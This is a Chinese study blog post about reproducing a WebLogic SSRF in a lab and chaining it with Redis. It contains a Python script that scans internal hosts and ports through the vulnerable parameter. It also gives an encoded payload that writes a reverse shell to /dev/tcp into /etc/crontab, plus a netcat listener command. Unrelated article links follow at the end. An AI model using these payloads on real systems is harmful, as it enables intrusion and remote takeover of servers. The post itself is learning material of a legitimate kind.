SSRF深入学习
爆出来的直接关于SSRF的漏洞有俩,①是weblogic,②是discuzz
SSRF漏洞最主要的部分并不是SSRF 探测内网,而是可以写shell,反弹shell,虽然很多厂家把它归为低危漏洞,仔细想,SSRF漏洞还是挺重要的,不鸣则已,一鸣惊人,一但利用成功,还是很牛批。比如说SSRF + XXE ,SSRF + redis ,,
仔细想想,上面这段话,一般对,一半不对,不先探测内网咋知道都开启了哪些服务,有哪些漏洞。当然,有的时候也没准有别的漏洞也可以探测内网环境。
对了,这里十分推荐特别经典的SSRF教材,猪猪侠SSRF PPT
关于weblogic 的介绍
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
weblogic 漏洞影响的版本是 weblogic 10.0.2 -- 10.3.6 从Oracle 官网最低只找到了10.3.6的版本, 因为安装weblogic需要卸载jdk,就看了几遍别人总结的文章,权当自己也复现过了。

文章来源: https://www.cnblogs.com/yuzly/archive/2019/05/23/10903398.html
其中有一部需要反弹shell,当时练这个是啥都不知道
昨天先去学习了shell语言,因为练啥是反弹shell之前都没见过,,比较逗比的事情就是昨天还再群里问各位大佬,为啥我这个shell根本反弹不了(当时用的bash命令,用的Windows系统。。。。)

然后去安装了一上午redis....原谅我有点笨
参考的文章: https://www.cnblogs.com/hunanzp/p/12304622.html 写的很不错
接下来就是SSRF的一种利用方式,注入HTTP头,可以使用burp抓包或者用hackbar把编码好的语句直接插入进去,利用redis反弹shell
简要过程
先判断是否存在SSRF漏洞,确定之后在判断C段中都有哪些存活主机,然后探测此主机开放的端口,这里需要注意的是,如果端口是开放的,访问会显示 404 或者 403 禁止,如果端口是关闭的,则会显示 400 不存在,或者连不上
这里我们可以用一个小脚本来测试哪些常见端口开放
import thread
import time
import re
import requests def ite_ip(ip):
for i in range(1, 256):
final_ip = '{ip}.{i}'.format(ip=ip, i=i)
print final_ip
thread.start_new_thread(scan, (final_ip,))
time.sleep(3) def scan(final_ip): //直接修改vul_url即可
ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')
for port in ports:
vul_url = 'http://192.168.0.132:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)
try:
#print vul_url
r = requests.get(vul_url, timeout=15, verify=False)
result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)
result2 = re.findall('but could not connect', r.content)
result3 = re.findall('No route to host', r.content)
if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:
print '[!]'+final_ip + ':' + port
except Exception, e:
pass if __name__ == '__main__':
ip = "172.18.0"
if ip:
print ip
ite_ip(ip)
else:
print "no ip"
端口测试回显 weblogic测试的时候返回的不同状态
- 端口存在返回状态码returned a 404 error code
- 端口不存在but could not connect over HTTP to server
- 非http协议:did not have a valid SOAP content-type 协议没写:no protocol


具体返回什么你可以试一试,反正如果存在SSRF漏洞,端口存在和不存在返回的状态一定是不同的,(你可以一个个去试,也可以写个python脚本,还有一个简单方法就是用brup爆破模块探测C段主机和端口的开放)
节省时间,就自己到docker里去查看了一下ip

探测出开启了redis服务
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor
=&selfor=Business+location&btnSubmit=Search&operator=http://172.23.0.2:6379/
这里主要是operator=这里可进行操作,直接redis写shell就可以,
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.19.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
解码之后就是这样,这里一定要注意编码问题,换行是 %0d%0a ,用工具转换的话只有

然后我们把构造好的数据包通过burp进行发送 , 将url编码后的字符串放在ssrf的域名后面,发送:

接着靶机上开启端口监听,nc -lvnp 21 ,反弹shell。成功。

(关于redis写shell,在分类里面有文章专门介绍),
这里需要声明的是权限必须是root权限,否则无法进行写shell,不过对于redis攻击还有一种方法不需要root权限也可以进行利用,就是利用redis的主从模式,详细文章在分类里面有介绍。
原理就是把shell写到crontab定时任务里面,然后再改名成root,这么做的原因是在 /var/spool/cron/ 这个目录下root 是会系统定时执行的(需要注意,不同的操作系统,写文件的目录有所不同,在kali和ubantu中,其文件位置为/var/spool/cron/crontabs/root,在centos系列中位置为/var/spool/cron/root,通常情况下没有root文件,需要自己创建)
这里需要强调一点就是编码的问题,部分代码需要手动编码!!!!
(注意每条命令必须是%0d%0a分割,测试过只用%0a不成功,而且最后一条命令后面需要再随机加一行文本)
现在SSRF直接利用redis写shell的情况应该不是很多,主要的原因就是权限问题,利用redis写shell需要root权限,而新版本的redis以redis权限启动,并且一般用户都是以普通用户权限开启redis服务。
小米SSRF漏洞
http://xss.one/bug_detail.php?wybug_id=wooyun-2016-0215779
体验盒子 SSRF漏洞文章
https://www.uedbox.com/post/10524/
先知社区 红日安全的SSRF 写的很不错!!
https://xz.aliyun.com/t/6235
SSRF深入学习的更多相关文章
- ssrf漏洞学习(PHP)
自己最近原本是想深入的学习一下关于xss.csrf的东西的,可是感觉这些东西需要有很好的js的基础来进行学习..还有感觉自己感觉也差不多该要学习内网渗透了..正好ssrf在内网这一块也是比较有用的.于 ...
- 简单的SSRF的学习
自己眼中的SSRF 成因 服务端允许了 可以向其他服务器请求获取一些数据 通过各种协议 http https file等(外网服务器所在的内网进行端口的扫描指纹的识别等) 一SSRF配合redis未授 ...
- SSRF漏洞学习
SSRF SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内 ...
- 2019-11-28:ssrf基础学习,笔记
ssrf服务端请求伪造ssrf是一种由恶意访问者构造形成由服务端发起请求的一个安全漏洞,一般情况下,ssrf访问的目标是从外网无法访问的内部系统,正式因为它是由服务端发起的,所以它能请求到它相连而外网 ...
- CEYE平台的使用
0x01 CEYE 是什么 CEYE是一个用来检测带外(Out-of-Band)流量的监控平台,如DNS查询和HTTP请求.它可以帮助安全研究人员在测试漏洞时收集信息(例如SSRF / XXE / R ...
- phpStudy后门分析及复现
参考文章:https://blog.csdn.net/qq_38484285/article/details/101381883 感谢大佬分享!! SSRF漏洞学习终于告一段落,很早就知道phpstu ...
- SSRF 跨站请求伪造学习笔记
参考文章: 了解SSRF,这一篇就足够了 SSRF 学习之路 SSRF绕过方法总结 Weblogic SSRF漏洞 What-是什么 SSRF(Server-Side Request Forgery) ...
- 网络安全学习阶段性总结:SQL注入|SSRF攻击|OS命令注入|身份验证漏洞|事物逻辑漏洞|目录遍历漏洞
目录 SQL注入 什么是SQL注入? 掌握SQL注入之前需要了解的知识点 SQL注入情况流程分析 有完整的回显报错(最简单的情况)--检索数据: 在HTTP报文中利用注释---危险操作 检索隐藏数据: ...
- SSRF学习
前言 SSRF(Server-Side Request Forgery ,服务器端请求伪造) 是一种由攻击者构造形成由服务器发起请求的一个安全漏洞 SSRF的主要攻击目标为外网无法访问的内部系统. 本 ...
随机推荐
- Camtasia对录制视频字幕编辑的教程
我们小时候会有这样的疑问,电视剧上的字幕是怎么做成的呢.字幕又是怎么不会从一幕到下一幕而产生不对应的呢.这就是影视的后期处理的结果了,利用视频的编辑软件,工作者们可以在特定的时间内加上相对应的台词,然 ...
- 在FL Studio中如何制作和优化你的人声和弦(Vocal Chords)
人声和弦在Future Bass.Melodic Dubstep等类型的电子音乐中被常用.与一般的和弦相同,其主要起到为主旋律做铺垫的效果,但是人声和弦加入了人声的因素,可以使得和弦更有趣,更有电子音 ...
- 两款超好用的Mac读写ntfs软件推荐给大家
活中我们免不了会使用一些硬盘设备来存储文件或者是数据,然而绝大多数的移动硬盘都是ntfs格式.Mac读写ntfs软件有很多,究竟哪一款适合我们? 首先,我们一起了解一下什么是ntfs格式.ntfs,是 ...
- 简单好用的TCP/UDP高并发性能测试工具
工具下载地址: 链接:https://pan.baidu.com/s/1fJ6Kz-mfFu_RANrgKqYiyA 提取码:0pyf 最近测试智能设备的远程的性能,思路主要是通过UDP对IP和端口发 ...
- 【CF375D】Trees and Queries——树上启发式合并
(题面不是来自Luogu) 题目描述 有一个大小为n且以1为根的树,树上每个点都有对应的颜色ci.现给出m次询问v, k,问以v为根的子树中有多少种颜色至少出现了k次. 输入格式 第一行两个数n,m表 ...
- 【鸿蒙开发板试用报告】用OLED板实现FlappyBird小游戏(中)
小伙伴们久等了,在上一篇<[开发板试用报告]用OLED板实现FlappyBird小游戏(上)>中,我们本着拿来主义的原则,成功的让小鸟在OLED屏幕上自由飞翔起来,下面我们将加入按钮交互功 ...
- uni-app p-table下时间转换的问题
问题描述: 从后台获取时间戳,转成日期格式,出现NaN的问题 uni的p-table插件 解决思路
- spring-boot-starter
Spring Boot Starter 是在 SpringBoot 组件中被提出来的一种概念,stackoverflow 上面已经有人概括了这个 starter 是什么东西,想看完整的回答戳 这里. ...
- 【佛山市选2013】JZOJ2020年8月7日提高组T1 回文子序列
[佛山市选2013]JZOJ2020年8月7日提高组T1 回文子序列 题目 描述 回文序列是指左右对称的序列.例如1 2 3 2 1是回文序列,但是1 2 3 2 2就不是.我们会给定一个N×M的矩阵 ...
- 一千行MySQL命令
基本操作 /* Windows服务 */ -- 启动MySQL net start mysql -- 创建Windows服务 sc create mysql binPath= mysqld_bin_p ...